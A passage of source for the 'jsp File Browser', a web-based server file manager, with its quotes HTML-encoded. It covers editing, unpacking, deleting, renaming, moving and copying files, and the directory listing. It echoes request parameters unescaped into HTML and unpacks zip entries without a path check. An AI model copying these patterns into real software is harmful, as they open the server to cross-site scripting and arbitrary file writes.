+ &#8220;&lt;textarea name=\&#8221;text\&#8221; wrap=\&#8221;off\&#8221; cols=\&#8221;" + EDITFIELD_COLS<br />
+ &#8220;\&#8221; rows=\&#8221;" + EDITFIELD_ROWS + &#8220;\&#8221;" + disable + &#8220;&gt;&#8221;);<br />
String c;<br />
// Write out the file and check if it is a win or unix file<br />
int i;<br />
boolean dos = false;<br />
boolean cr = false;<br />
while ((i = reader.read()) &gt;= 0) {<br />
out.print(conv2Html(i));<br />
if (i == &#8216;\r&#8217;) cr = true;<br />
else if (cr &amp;&amp; (i == &#8216;\n&#8217;)) dos = true;<br />
else cr = false;<br />
}<br />
reader.close();<br />
//No File directory is shown<br />
request.setAttribute(&#8221;dir&#8221;, null);<br />
dir_view = false;</p>
<p>%&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;<br />
&lt;table class=&#8221;formular&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;nfile&#8221; value=&#8221;&lt;%= request.getParameter(&#8221;editfile&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=request.getParameter(&#8221;sort&#8221;)%&gt;&#8221;&gt;<br />
&lt;tr&gt;&lt;td colspan=&#8221;2&#8243;&gt;&lt;input type=&#8221;radio&#8221; name=&#8221;lineformat&#8221; value=&#8221;dos&#8221; &lt;%= dos?&#8221;checked&#8221;:&#8221;"%&gt;&gt;Ms-Dos/Windows<br />
&lt;input type=&#8221;radio&#8221; name=&#8221;lineformat&#8221; value=&#8221;unix&#8221; &lt;%= dos?&#8221;":&#8221;checked&#8221;%&gt;&gt;Unix<br />
&lt;input type=&#8221;checkbox&#8221; name=&#8221;Backup&#8221; checked&gt;Write backup&lt;/td&gt;&lt;/tr&gt;<br />
&lt;tr&gt;&lt;td title=&#8221;Enter the new filename&#8221;&gt;&lt;input type=&#8221;text&#8221; name=&#8221;new_name&#8221; value=&#8221;&lt;%=ef.getName()%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;Save&#8221;&gt;&lt;/td&gt;<br />
&lt;/form&gt;<br />
&lt;form action=&#8221;&lt;%=browser_name%&gt;&#8221; method=&#8221;Post&#8221;&gt;<br />
&lt;td align=&#8221;left&#8221;&gt;<br />
&lt;input type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;Cancel&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;nfile&#8221; value=&#8221;&lt;%= request.getParameter(&#8221;editfile&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=request.getParameter(&#8221;sort&#8221;)%&gt;&#8221;&gt;<br />
&lt;/td&gt;<br />
&lt;/form&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/center&gt;<br />
&lt;br /&gt;<br />
&lt;hr&gt;<br />
&lt;center&gt;<br />
&lt;small&gt;jsp File Browser version &lt;%= VERSION_NR%&gt; by &lt;a href=&#8221;http://www.vonloesch.de&#8221;&gt;www.vonloesch.de&lt;/a&gt;&lt;/small&gt;<br />
&lt;/center&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
&lt;%<br />
}<br />
}<br />
// Save or cancel the edited file<br />
else if (request.getParameter(&#8221;nfile&#8221;) != null) {<br />
File f = new File(request.getParameter(&#8221;nfile&#8221;));<br />
if (request.getParameter(&#8221;Submit&#8221;).equals(&#8221;Save&#8221;)) {<br />
File new_f = new File(getDir(f.getParent(), request.getParameter(&#8221;new_name&#8221;)));<br />
if (!isAllowed(new_f, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_f.getAbsolutePath());<br />
}<br />
if (new_f.exists() &amp;&amp; new_f.canWrite() &amp;&amp; request.getParameter(&#8221;Backup&#8221;) != null) {<br />
File bak = new File(new_f.getAbsolutePath() + &#8220;.bak&#8221;);<br />
bak.delete();<br />
new_f.renameTo(bak);<br />
}<br />
if (new_f.exists() &amp;&amp; !new_f.canWrite()) request.setAttribute(&#8221;error&#8221;,<br />
&#8220;Cannot write to &#8221; + new_f.getName() + &#8220;, file is write protected.&#8221;);<br />
else {<br />
BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));<br />
StringReader text = new StringReader(request.getParameter(&#8221;text&#8221;));<br />
int i;<br />
boolean cr = false;<br />
String lineend = &#8220;\n&#8221;;<br />
if (request.getParameter(&#8221;lineformat&#8221;).equals(&#8221;dos&#8221;)) lineend = &#8220;\r\n&#8221;;<br />
while ((i = text.read()) &gt;= 0) {<br />
if (i == &#8216;\r&#8217;) cr = true;<br />
else if (i == &#8216;\n&#8217;) {<br />
outs.write(lineend);<br />
cr = false;<br />
}<br />
else if (cr) {<br />
outs.write(lineend);<br />
cr = false;<br />
}<br />
else {<br />
outs.write(i);<br />
cr = false;<br />
}<br />
}<br />
outs.flush();<br />
outs.close();<br />
}<br />
}<br />
request.setAttribute(&#8221;dir&#8221;, f.getParent());<br />
}<br />
//Unpack file to the current directory without overwriting<br />
else if (request.getParameter(&#8221;unpackfile&#8221;) != null) {<br />
File f = new File(request.getParameter(&#8221;unpackfile&#8221;));<br />
String root = f.getParent();<br />
request.setAttribute(&#8221;dir&#8221;, root);<br />
if (!isAllowed(new File(root), true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + root);<br />
}<br />
//Check if file exists<br />
else if (!f.exists()) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot unpack &#8221; + f.getName()<br />
+ &#8220;, file does not exist&#8221;);<br />
}<br />
//Check if directory is readonly<br />
else if (!f.getParentFile().canWrite()) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot unpack &#8221; + f.getName()<br />
+ &#8220;, directory is write protected.&#8221;);<br />
}<br />
//GZip<br />
else if (f.getName().toLowerCase().endsWith(&#8221;.gz&#8221;)) {<br />
//New name is old Name without .gz<br />
String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() &#8211; 3);<br />
try {<br />
byte buffer[] = new byte[0xffff];<br />
copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream(<br />
newName), buffer);<br />
}<br />
catch (IOException ex) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Unpacking of &#8221; + f.getName()<br />
+ &#8221; aborted. Error: &#8221; + ex);<br />
}<br />
}<br />
//Else try Zip<br />
else {<br />
try {<br />
ZipFile zf = new ZipFile(f);<br />
Enumeration entries = zf.entries();<br />
//First check whether a file already exist<br />
boolean error = false;<br />
while (entries.hasMoreElements()) {<br />
ZipEntry entry = (ZipEntry) entries.nextElement();<br />
if (!entry.isDirectory()<br />
&amp;&amp; new File(root + File.separator + entry.getName()).exists()) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot unpack &#8221; + f.getName()<br />
+ &#8220;, File &#8221; + entry.getName() + &#8221; already exists.&#8221;);<br />
error = true;<br />
break;<br />
}<br />
}<br />
if (!error) {<br />
//Unpack File<br />
entries = zf.entries();<br />
byte buffer[] = new byte[0xffff];<br />
while (entries.hasMoreElements()) {<br />
ZipEntry entry = (ZipEntry) entries.nextElement();<br />
File n = new File(root + File.separator + entry.getName());<br />
if (entry.isDirectory()) n.mkdirs();<br />
else {<br />
n.getParentFile().mkdirs();<br />
n.createNewFile();<br />
copyStreams(zf.getInputStream(entry), new FileOutputStream(n),<br />
buffer);<br />
}<br />
}<br />
zf.close();<br />
request.setAttribute(&#8221;message&#8221;, &#8220;Unpack of &#8221; + f.getName()<br />
+ &#8221; was successful.&#8221;);<br />
}<br />
}<br />
catch (ZipException ex) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot unpack &#8221; + f.getName()<br />
+ &#8220;, no valid zip file&#8221;);<br />
}<br />
catch (IOException ex) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Unpacking of &#8221; + f.getName()<br />
+ &#8221; aborted. Error: &#8221; + ex);<br />
}<br />
}<br />
}<br />
// Delete Files<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(DELETE_FILES))) {<br />
Vector v = expandFileList(request.getParameterValues(&#8221;selfile&#8221;), true);<br />
boolean error = false;<br />
//delete backwards<br />
for (int i = v.size() &#8211; 1; i &gt;= 0; i&#8211;) {<br />
File f = (File) v.get(i);<br />
if (!isAllowed(f, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsolutePath());<br />
error = true;<br />
break;<br />
}<br />
if (!f.canWrite() || !f.delete()) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot delete &#8221; + f.getAbsolutePath()<br />
+ &#8220;. Deletion aborted&#8221;);<br />
error = true;<br />
break;<br />
}<br />
}<br />
if ((!error) &amp;&amp; (v.size() &gt; 1)) request.setAttribute(&#8221;message&#8221;, &#8220;All files deleted&#8221;);<br />
else if ((!error) &amp;&amp; (v.size() &gt; 0)) request.setAttribute(&#8221;message&#8221;, &#8220;File deleted&#8221;);<br />
else if (!error) request.setAttribute(&#8221;error&#8221;, &#8220;No files selected&#8221;);<br />
}<br />
// Create Directory<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(CREATE_DIR))) {<br />
String dir = &#8220;&#8221; + request.getAttribute(&#8221;dir&#8221;);<br />
String dir_name = request.getParameter(&#8221;cr_dir&#8221;);<br />
String new_dir = getDir(dir, dir_name);<br />
if (!isAllowed(new File(new_dir), true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_dir);<br />
}<br />
else if (new File(new_dir).mkdirs()) {<br />
request.setAttribute(&#8221;message&#8221;, &#8220;Directory created&#8221;);<br />
}<br />
else request.setAttribute(&#8221;error&#8221;, &#8220;Creation of directory &#8221; + new_dir + &#8221; failed&#8221;);<br />
}<br />
// Create a new empty file<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(CREATE_FILE))) {<br />
String dir = &#8220;&#8221; + request.getAttribute(&#8221;dir&#8221;);<br />
String file_name = request.getParameter(&#8221;cr_dir&#8221;);<br />
String new_file = getDir(dir, file_name);<br />
if (!isAllowed(new File(new_file), true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_file);<br />
}<br />
// Test, if file_name is empty<br />
else if (!&#8221;".equals(file_name.trim()) &amp;&amp; !file_name.endsWith(File.separator)) {<br />
if (new File(new_file).createNewFile()) request.setAttribute(&#8221;message&#8221;,<br />
&#8220;File created&#8221;);<br />
else request.setAttribute(&#8221;error&#8221;, &#8220;Creation of file &#8221; + new_file + &#8221; failed&#8221;);<br />
}<br />
else request.setAttribute(&#8221;error&#8221;, &#8220;Error: &#8221; + file_name + &#8221; is not a valid filename&#8221;);<br />
}<br />
// Rename a file<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(RENAME_FILE))) {<br />
Vector v = expandFileList(request.getParameterValues(&#8221;selfile&#8221;), true);<br />
String dir = &#8220;&#8221; + request.getAttribute(&#8221;dir&#8221;);<br />
String new_file_name = request.getParameter(&#8221;cr_dir&#8221;);<br />
String new_file = getDir(dir, new_file_name);<br />
if (!isAllowed(new File(new_file), true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_file);<br />
}<br />
// The error conditions:<br />
// 1) Zero Files selected<br />
else if (v.size() &lt;= 0) request.setAttribute(&#8221;error&#8221;,<br />
&#8220;Select exactly one file or folder. Rename failed&#8221;);<br />
// 2a) Multiple files selected and the first isn&#8217;t a dir<br />
// Here we assume that expandFileList builds v from top-bottom, starting with the dirs<br />
else if ((v.size() &gt; 1) &amp;&amp; !(((File) v.get(0)).isDirectory())) request.setAttribute(<br />
&#8220;error&#8221;, &#8220;Select exactly one file or folder. Rename failed&#8221;);<br />
// 2b) If there are multiple files from the same directory, rename fails<br />
else if ((v.size() &gt; 1) &amp;&amp; ((File) v.get(0)).isDirectory()<br />
&amp;&amp; !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Select exactly one file or folder. Rename failed&#8221;);<br />
}<br />
else {<br />
File f = (File) v.get(0);<br />
if (!isAllowed(f, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsolutePath());<br />
}<br />
// Test, if file_name is empty<br />
else if ((new_file.trim() != &#8220;&#8221;) &amp;&amp; !new_file.endsWith(File.separator)) {<br />
if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Creation of file &#8221; + new_file + &#8221; failed&#8221;);<br />
}<br />
else request.setAttribute(&#8221;message&#8221;, &#8220;Renamed file &#8221;<br />
+ ((File) v.get(0)).getName() + &#8221; to &#8221; + new_file);<br />
}<br />
else request.setAttribute(&#8221;error&#8221;, &#8220;Error: \&#8221;" + new_file_name<br />
+ &#8220;\&#8221; is not a valid filename&#8221;);<br />
}<br />
}<br />
// Move selected file(s)<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(MOVE_FILES))) {<br />
Vector v = expandFileList(request.getParameterValues(&#8221;selfile&#8221;), true);<br />
String dir = &#8220;&#8221; + request.getAttribute(&#8221;dir&#8221;);<br />
String dir_name = request.getParameter(&#8221;cr_dir&#8221;);<br />
String new_dir = getDir(dir, dir_name);<br />
if (!isAllowed(new File(new_dir), false)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_dir);<br />
}<br />
else{<br />
boolean error = false;<br />
// This ensures that new_dir is a directory<br />
if (!new_dir.endsWith(File.separator)) new_dir += File.separator;<br />
for (int i = v.size() &#8211; 1; i &gt;= 0; i&#8211;) {<br />
File f = (File) v.get(i);<br />
if (!isAllowed(f, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsolutePath());<br />
error = true;<br />
break;<br />
}<br />
else if (!f.canWrite() || !f.renameTo(new File(new_dir<br />
+ f.getAbsolutePath().substring(dir.length())))) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot move &#8221; + f.getAbsolutePath()<br />
+ &#8220;. Move aborted&#8221;);<br />
error = true;<br />
break;<br />
}<br />
}<br />
if ((!error) &amp;&amp; (v.size() &gt; 1)) request.setAttribute(&#8221;message&#8221;, &#8220;All files moved&#8221;);<br />
else if ((!error) &amp;&amp; (v.size() &gt; 0)) request.setAttribute(&#8221;message&#8221;, &#8220;File moved&#8221;);<br />
else if (!error) request.setAttribute(&#8221;error&#8221;, &#8220;No files selected&#8221;);<br />
}<br />
}<br />
// Copy Files<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(COPY_FILES))) {<br />
Vector v = expandFileList(request.getParameterValues(&#8221;selfile&#8221;), true);<br />
String dir = (String) request.getAttribute(&#8221;dir&#8221;);<br />
if (!dir.endsWith(File.separator)) dir += File.separator;<br />
String dir_name = request.getParameter(&#8221;cr_dir&#8221;);<br />
String new_dir = getDir(dir, dir_name);<br />
if (!isAllowed(new File(new_dir), true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + new_dir);<br />
}<br />
else{<br />
boolean error = false;<br />
if (!new_dir.endsWith(File.separator)) new_dir += File.separator;<br />
try {<br />
byte buffer[] = new byte[0xffff];<br />
for (int i = 0; i &lt; v.size(); i++) {<br />
File f_old = (File) v.get(i);<br />
File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length()));<br />
if (!isAllowed(f_old, false)|| !isAllowed(f_new, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f_new.getAbsolutePath());<br />
error = true;<br />
}<br />
else if (f_old.isDirectory()) f_new.mkdirs();<br />
// Overwriting is forbidden<br />
else if (!f_new.exists()) {<br />
copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer);<br />
}<br />
else {<br />
// File exists<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot copy &#8221; + f_old.getAbsolutePath()<br />
+ &#8220;, file already exists. Copying aborted&#8221;);<br />
error = true;<br />
break;<br />
}<br />
}<br />
}<br />
catch (IOException e) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Error &#8221; + e + &#8220;. Copying aborted&#8221;);<br />
error = true;<br />
}<br />
if ((!error) &amp;&amp; (v.size() &gt; 1)) request.setAttribute(&#8221;message&#8221;, &#8220;All files copied&#8221;);<br />
else if ((!error) &amp;&amp; (v.size() &gt; 0)) request.setAttribute(&#8221;message&#8221;, &#8220;File copied&#8221;);<br />
else if (!error) request.setAttribute(&#8221;error&#8221;, &#8220;No files selected&#8221;);<br />
}<br />
}<br />
// Directory viewer<br />
if (dir_view &amp;&amp; request.getAttribute(&#8221;dir&#8221;) != null) {<br />
File f = new File(&#8221;" + request.getAttribute(&#8221;dir&#8221;));<br />
//Check, whether the dir exists<br />
if (!f.exists() || !isAllowed(f, false)) {<br />
if (!f.exists()){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Directory &#8221; + f.getAbsolutePath() + &#8221; does not exist.&#8221;);<br />
}<br />
else{<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsolutePath());<br />
}<br />
//if attribute olddir exists, it will change to olddir<br />
if (request.getAttribute(&#8221;olddir&#8221;) != null &amp;&amp; isAllowed(new File((String) request.getAttribute(&#8221;olddir&#8221;)), false)) {<br />
f = new File(&#8221;" + request.getAttribute(&#8221;olddir&#8221;));<br />
}<br />
//try to go to the parent dir<br />
else {<br />
if (f.getParent() != null &amp;&amp; isAllowed(f, false)) f = new File(f.getParent());<br />
}<br />
//If this dir also do also not exist, go back to browser.jsp root path<br />
if (!f.exists()) {<br />
String path = null;<br />
if (application.getRealPath(request.getRequestURI()) != null) path = new File(<br />
application.getRealPath(request.getRequestURI())).getParent();</p>
<p>if (path == null) // handle the case were we are not in a directory (ex: war file)<br />
path = new File(&#8221;.&#8221;).getAbsolutePath();<br />
f = new File(path);<br />
}<br />
if (isAllowed(f, false)) request.setAttribute(&#8221;dir&#8221;, f.getAbsolutePath());<br />
else request.setAttribute(&#8221;dir&#8221;, null);<br />
}<br />
%&gt;<br />
&lt;script type=&#8221;text/javascript&#8221; src=&#8221;&lt;%=browser_name %&gt;?Javascript&#8221;&gt;<br />
&lt;/script&gt;<br />
&lt;title&gt;&lt;%=request.getAttribute(&#8221;dir&#8221;)%&gt;&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;%<br />
//Output message<br />
if (request.getAttribute(&#8221;message&#8221;) != null) {<br />
out.println(&#8221;&lt;table border=\&#8221;0\&#8221; width=\&#8221;100%\&#8221;&gt;&lt;tr&gt;&lt;td class=\&#8221;message\&#8221;&gt;&#8221;);<br />
out.println(request.getAttribute(&#8221;message&#8221;));<br />
out.println(&#8221;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#8221;);<br />
}<br />
//Output error<br />
if (request.getAttribute(&#8221;error&#8221;) != null) {<br />
out.println(&#8221;&lt;table border=\&#8221;0\&#8221; width=\&#8221;100%\&#8221;&gt;&lt;tr&gt;&lt;td class=\&#8221;error\&#8221;&gt;&#8221;);<br />
out.println(request.getAttribute(&#8221;error&#8221;));<br />
out.println(&#8221;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#8221;);<br />
}<br />
if (request.getAttribute(&#8221;dir&#8221;) != null){<br />
%&gt;</p>
<p>&lt;form class=&#8221;formular&#8221; action=&#8221;&lt;%= browser_name %&gt;&#8221; method=&#8221;Post&#8221; name=&#8221;FileList&#8221;&gt;<br />
Filename filter: &lt;input name=&#8221;filt&#8221; onKeypress=&#8221;event.cancelBubble=true;&#8221; onkeyup=&#8221;filter(this)&#8221; type=&#8221;text&#8221;&gt;<br />
&lt;br /&gt;&lt;br /&gt;<br />
&lt;table id=&#8221;filetable&#8221; class=&#8221;filelist&#8221; cellspacing=&#8221;1px&#8221; cellpadding=&#8221;0px&#8221;&gt;<br />
&lt;%<br />
// Output the table, starting with the headers.<br />
String dir = URLEncoder.encode(&#8221;" + request.getAttribute(&#8221;dir&#8221;));<br />
String cmd = browser_name + &#8220;?dir=&#8221; + dir;<br />
int sortMode = 1;<br />
if (request.getParameter(&#8221;sort&#8221;) != null) sortMode = Integer.parseInt(request<br />
.getParameter(&#8221;sort&#8221;));<br />
int[] sort = new int[] {1, 2, 3, 4};<br />
for (int i = 0; i &lt; sort.length; i++)<br />
if (sort[i] == sortMode) sort[i] = -sort[i];<br />
out.print(&#8221;&lt;tr&gt;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&lt;th title=\&#8221;Sort files by name\&#8221; align=left&gt;&lt;a href=\&#8221;"<br />
+ cmd + &#8220;&amp;amp;sort=&#8221; + sort[0] + &#8220;\&#8221;&gt;Name&lt;/a&gt;&lt;/th&gt;&#8221;<br />
+ &#8220;&lt;th title=\&#8221;Sort files by size\&#8221; align=\&#8221;right\&#8221;&gt;&lt;a href=\&#8221;" + cmd<br />
+ &#8220;&amp;amp;sort=&#8221; + sort[1] + &#8220;\&#8221;&gt;Size&lt;/a&gt;&lt;/th&gt;&#8221;<br />
+ &#8220;&lt;th title=\&#8221;Sort files by type\&#8221; align=\&#8221;center\&#8221;&gt;&lt;a href=\&#8221;" + cmd<br />
+ &#8220;&amp;amp;sort=&#8221; + sort[3] + &#8220;\&#8221;&gt;Type&lt;/a&gt;&lt;/th&gt;&#8221;<br />
+ &#8220;&lt;th title=\&#8221;Sort files by date\&#8221; align=\&#8221;left\&#8221;&gt;&lt;a href=\&#8221;" + cmd<br />
+ &#8220;&amp;amp;sort=&#8221; + sort[2] + &#8220;\&#8221;&gt;Date&lt;/a&gt;&lt;/th&gt;&#8221;<br />
+ &#8220;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&#8221;);<br />
if (!READ_ONLY) out.print (&#8221;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&#8221;);<br />
out.println(&#8221;&lt;/tr&gt;&#8221;);<br />
char trenner = File.separatorChar;<br />
// Output the Root-Dirs, without FORBIDDEN_DRIVES<br />
File[] entry = File.listRoots();<br />
for (int i = 0; i &lt; entry.length; i++) {<br />
boolean forbidden = false;<br />
for (int i2 = 0; i2 &lt; FORBIDDEN_DRIVES.length; i2++) {<br />
if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true;<br />
}<br />
if (!forbidden) {<br />
out.println(&#8221;&lt;tr class=\&#8221;mouseout\&#8221; onmouseover=\&#8221;this.className=&#8217;mousein&#8217;\&#8221;"<br />
+ &#8220;onmouseout=\&#8221;this.className=&#8217;mouseout&#8217;\&#8221;&gt;&#8221;);<br />
out.println(&#8221;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td align=left &gt;&#8221;);<br />
String name = URLEncoder.encode(entry[i].getAbsolutePath());<br />
String buf = entry[i].getAbsolutePath();<br />
out.println(&#8221; &amp;nbsp;&lt;a href=\&#8221;" + browser_name + &#8220;?sort=&#8221; + sortMode<br />
+ &#8220;&amp;amp;dir=&#8221; + name + &#8220;\&#8221;&gt;[" + buf + "]&lt;/a&gt;&#8221;);<br />
out.print(&#8221;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&#8221;);<br />
}<br />
}<br />
// Output the parent directory link &#8220;..&#8221;<br />
if (f.getParent() != null) {<br />
out.println(&#8221;&lt;tr class=\&#8221;mouseout\&#8221; onmouseover=\&#8221;this.className=&#8217;mousein&#8217;\&#8221;"<br />
+ &#8220;onmouseout=\&#8221;this.className=&#8217;mouseout&#8217;\&#8221;&gt;&#8221;);<br />
out.println(&#8221;&lt;td&gt;&lt;/td&gt;&lt;td align=left&gt;&#8221;);<br />
out.println(&#8221; &amp;nbsp;&lt;a href=\&#8221;" + browser_name + &#8220;?sort=&#8221; + sortMode + &#8220;&amp;amp;dir=&#8221;<br />
+ URLEncoder.encode(f.getParent()) + &#8220;\&#8221;&gt;&#8221; + FOL_IMG + &#8220;[..]&lt;/a&gt;&#8221;);<br />
out.print(&#8221;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&#8221;);<br />
}<br />
// Output all files and dirs and calculate the number of files and total size<br />
entry = f.listFiles();<br />
if (entry == null) entry = new File[] {};<br />
long totalSize = 0; // The total size of the files in the current directory<br />
long fileCount = 0; // The count of files in the current working directory<br />
if (entry != null &amp;&amp; entry.length &gt; 0) {<br />
Arrays.sort(entry, new FileComp(sortMode));<br />
for (int i = 0; i &lt; entry.length; i++) {<br />
String name = URLEncoder.encode(entry[i].getAbsolutePath());<br />
String type = &#8220;File&#8221;; // This String will tell the extension of the file<br />
if (entry[i].isDirectory()) type = &#8220;DIR&#8221;; // It&#8217;s a DIR<br />
else {<br />
String tempName = entry[i].getName().replace(&#8217; &#8216;, &#8216;_&#8217;);<br />
if (tempName.lastIndexOf(&#8217;.') != -1) type = tempName.substring(<br />
tempName.lastIndexOf(&#8217;.')).toLowerCase();<br />
}<br />
String ahref = &#8220;&lt;a onmousedown=\&#8221;dis()\&#8221; href=\&#8221;" + browser_name + &#8220;?sort=&#8221;<br />
+ sortMode + &#8220;&amp;amp;&#8221;;<br />
String dlink = &#8220;&amp;nbsp;&#8221;; // The &#8220;Download&#8221; link<br />
String elink = &#8220;&amp;nbsp;&#8221;; // The &#8220;Edit&#8221; link<br />
String buf = conv2Html(entry[i].getName());<br />
if (!entry[i].canWrite()) buf = &#8220;&lt;i&gt;&#8221; + buf + &#8220;&lt;/i&gt;&#8221;;<br />
String link = buf; // The standard view link, uses Mime-type<br />
if (entry[i].isDirectory()) {<br />
if (entry[i].canRead() &amp;&amp; USE_DIR_PREVIEW) {<br />
//Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip<br />
File[] fs = entry[i].listFiles();<br />
if (fs == null) fs = new File[] {};<br />
Arrays.sort(fs, new FileComp());<br />
StringBuffer filenames = new StringBuffer();<br />
for (int i2 = 0; (i2 &lt; fs.length) &amp;&amp; (i2 &lt; 10); i2++) {<br />
String fname = conv2Html(fs[i2].getName());<br />
if (fs[i2].isDirectory()) filenames.append(&#8221;[" + fname + "];&#8221;);<br />
else filenames.append(fname + &#8220;;&#8221;);<br />
}<br />
if (fs.length &gt; DIR_PREVIEW_NUMBER) filenames.append(&#8221;&#8230;&#8221;);<br />
else if (filenames.length() &gt; 0) filenames<br />
.setLength(filenames.length() &#8211; 1);<br />
link = ahref + &#8220;dir=&#8221; + name + &#8220;\&#8221; title=\&#8221;" + filenames + &#8220;\&#8221;&gt;&#8221;<br />
+ FOL_IMG + &#8220;[" + buf + "]&lt;/a&gt;&#8221;;<br />
}<br />
else if (entry[i].canRead()) {<br />
link = ahref + &#8220;dir=&#8221; + name + &#8220;\&#8221;&gt;&#8221; + FOL_IMG + &#8220;[" + buf + "]&lt;/a&gt;&#8221;;<br />
}<br />
else link = FOL_IMG + &#8220;[" + buf + "]&#8220;;<br />
}<br />
else if (entry[i].isFile()) { //Entry is file<br />
totalSize = totalSize + entry[i].length();<br />
fileCount = fileCount + 1;<br />
if (entry[i].canRead()) {<br />
dlink = ahref + &#8220;downfile=&#8221; + name + &#8220;\&#8221;&gt;Download&lt;/a&gt;&#8221;;<br />
//If you click at the filename<br />
if (USE_POPUP) link = ahref + &#8220;file=&#8221; + name + &#8220;\&#8221; target=\&#8221;_blank\&#8221;&gt;&#8221;<br />
+ buf + &#8220;&lt;/a&gt;&#8221;;<br />
else link = ahref + &#8220;file=&#8221; + name + &#8220;\&#8221;&gt;&#8221; + buf + &#8220;&lt;/a&gt;&#8221;;<br />
if (entry[i].canWrite()) { // The file can be edited<br />
//If it is a zip or jar File you can unpack it<br />
if (isPacked(name, true)) elink = ahref + &#8220;unpackfile=&#8221; + name<br />
+ &#8220;\&#8221;&gt;Unpack&lt;/a&gt;&#8221;;<br />
else elink = ahref + &#8220;editfile=&#8221; + name + &#8220;\&#8221;&gt;Edit&lt;/a&gt;&#8221;;<br />
}<br />
else { // If the file cannot be edited<br />
//If it is a zip or jar File you can unpack it<br />
if (isPacked(name, true)) elink = ahref + &#8220;unpackfile=&#8221; + name<br />
+ &#8220;\&#8221;&gt;Unpack&lt;/a&gt;&#8221;;<br />
else elink = ahref + &#8220;editfile=&#8221; + name + &#8220;\&#8221;&gt;View&lt;/a&gt;&#8221;;<br />
}<br />
}<br />
else {<br />
link = buf;<br />
}<br />
}<br />
String date = dateFormat.format(new Date(entry[i].lastModified()));<br />
